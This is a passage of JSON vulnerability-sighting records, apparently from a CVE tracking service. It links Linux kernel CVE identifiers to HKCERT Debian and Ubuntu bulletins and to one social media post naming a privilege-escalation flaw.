"creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "125eeab3-7f29-44d8-b0d9-3fda4925f0fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31426", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "3174b115-e232-4352-bfa3-e60eae617cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31581", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:54:42.052724Z"}, {"uuid": "5928b6bb-b218-4e22-ac1b-b5cf4a6b14bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31586", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:54:49.372497Z"}, {"uuid": "2a48ad7c-66ab-43c1-846b-0c5661e991fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31622", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:58:15.209605Z"}, {"uuid": "f3f2340f-3c50-457d-8be7-b58e32f30a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml5zkkioec2x", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-06T06:00:22.308940Z"}, {"uuid": "30ef7d0c-8170-45dc-b9ff-fdb725f41f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31423", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "edd535d2-0797-4adf-883a-7bcbc3c264fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31446", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "853b8445-9b19-4fa6-8905-8e87c3496896", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31510", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "c05dfffd-a374-411d-a0fd-ceb0a1f24e7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31752", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "1fc5a10f-4e0f-4ddc-949e-e7f182881c1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31583", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:54:44.332601Z"}, {"uuid": "f205ba5f-627e-4705-997e-ea82c14ced4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31412", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "3d685e10-d26e-4e50-8703-0d6217d7c1ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31414", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "54a2f506-62eb-4f86-a83d-15729ca28db1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31416", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "5ec28aba-28e6-4e2a-b2a1-370b93b5372f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31512", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "a23c1eea-af37-4ee6-99d2-d8065c9c7cf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31519", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "fbdeafad-b629-4003-9464-c92e3cb258ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31523", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "5e25492b-85fa-4998-8fd4-bb0f29c3c550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31546", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "20cec146-a602-4f78-a970-47ff5e5a81a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31548", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "ec268470-2a0f-463b-98f7-6e53574fd00f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31660", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "ba5418c1-07ae-4fca-b9ed-12a5ed7f80d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31668", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "9fa31163-74cb-427a-b5c0-054f5f8156b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31683", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "f8ab9633-9a44-45c7-9c24-67e46f4aa0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31720", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "efd12ee5-ebb9-4cca-93e2-77e4c198013e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31754", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "17126aff-e3e2-4395-9164-15abe42348e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31755", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "90370681-bb96-4e60-848e-4afd97481e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31399", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "ead8d749-1ece-4999-b1a7-b8b5bb6796c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31402", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "d780d92c-1e10-4353-a585-fffb034195fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31418", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "3926b445-2a6c-477a-9173-cf8e7346f352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31424", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "43852e6f-9d02-479a-a313-04fc69c73282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31428", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "77ee22b4-3646-41b6-9ae1-dc8f12bdf36c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31441", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "6f699741-a2d7-457a-8281-8f228e935ada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31447", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "51d635d2-e2f3-4054-8438-1bcbe9aed691", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31450", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "f989caf0-21d8-45b0-a9b4-7ef62a7b8d4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31452", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "05889dea-d0d5-49ec-8ff8-79adb241e809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31478", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "302f2e82-9d2c-4457-ac65-9b40b856028f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31549", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "871417b4-1cf7-4c35-b15b-78995c989d3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31563", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "b90a405a-36b7-462c-a9e0-23d3de2fe202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31628", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "cd1ed0c2-93c3-4de7-b022-12b208ab8615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31651", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "2725c0ff-0aeb-46a2-83c9-c024dfed0fee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31768", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "d12e8662-8832-456b-85a8-88fbd610dd70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31391", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "ff856d8f-40b9-4dbb-ba49-4b81282bc872", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31392", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "546fc0b7-2e9d-4d4c-9738-ce31b9917c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31393", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "6ef715f7-635c-4531-921b-6a30277a0c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31396", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "6ac1dd0d-40e3-4e47-8e76-6969484bdc6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31400", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "3e68214b-1c68-43fb-93b3-11b705e16d25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31408", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "e723b9c0-9974-41fb-a062-a9f049b629eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31409", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "56a4265d-225b-49e2-855d-42dbb914341b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31411", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "ad964777-3959-48a0-a173-e4843ad4c68a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31415", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "357302dc-2e97-4266-878e-5b8f0ef089f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31417", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "258a9fee-74b6-494e-b09e-a9604a86f007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31421", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "8760bc67-0911-47e0-b677-e6cb84c43ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31422", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "5ba47610-238f-4dd6-8dde-febfab609fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31425", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "b2317e30-a800-4634-a470-b43076c31a11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31427", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "5e992421-1dd9-4ba0-807e-486bbd642693", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31433", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "b363e340-708a-462d-b6d6-0d6e7db14a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31434", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "9920a019-92a6-4d07-9816-61cb5f7410f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31448", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "496d936f-6152-4ef8-9ce7-93442ba48d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31649", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "19c6721a-9d4c-48f3-9d0f-264b4ee7d9f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31682", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "8b8ef411-1b48-4c12-84ff-2e07a643f311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31738", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "15735e2f-4bf4-49b4-80b8-dfa5211de136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31773", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "e0e56f08-96d4-46ab-8db0-558682fe26ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "deca10b3-94ed-4418-8e98-6ea32a5747c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31453", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "078342b9-2aaa-412f-b44d-0d3c43c8106a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31455", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "df7df0dd-6931-4bb6-9353-49e4e5336a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31467", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "b4cf61ae-fc66-4338-b48d-64ddeb4f0e81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31469", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "f0a6b7b6-d56a-41b3-b29c-f068db96e3a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31473", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "d72c8288-1f91-4e18-8e02-326cfe6dac09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31476", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "dbadd938-886f-4a89-82dc-0097fde74061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31483", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "3a90b5da-09e2-477e-90c2-89126797ef61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31485", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "47ebe9d2-f60b-4a42-aff7-ee9c618f9fee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 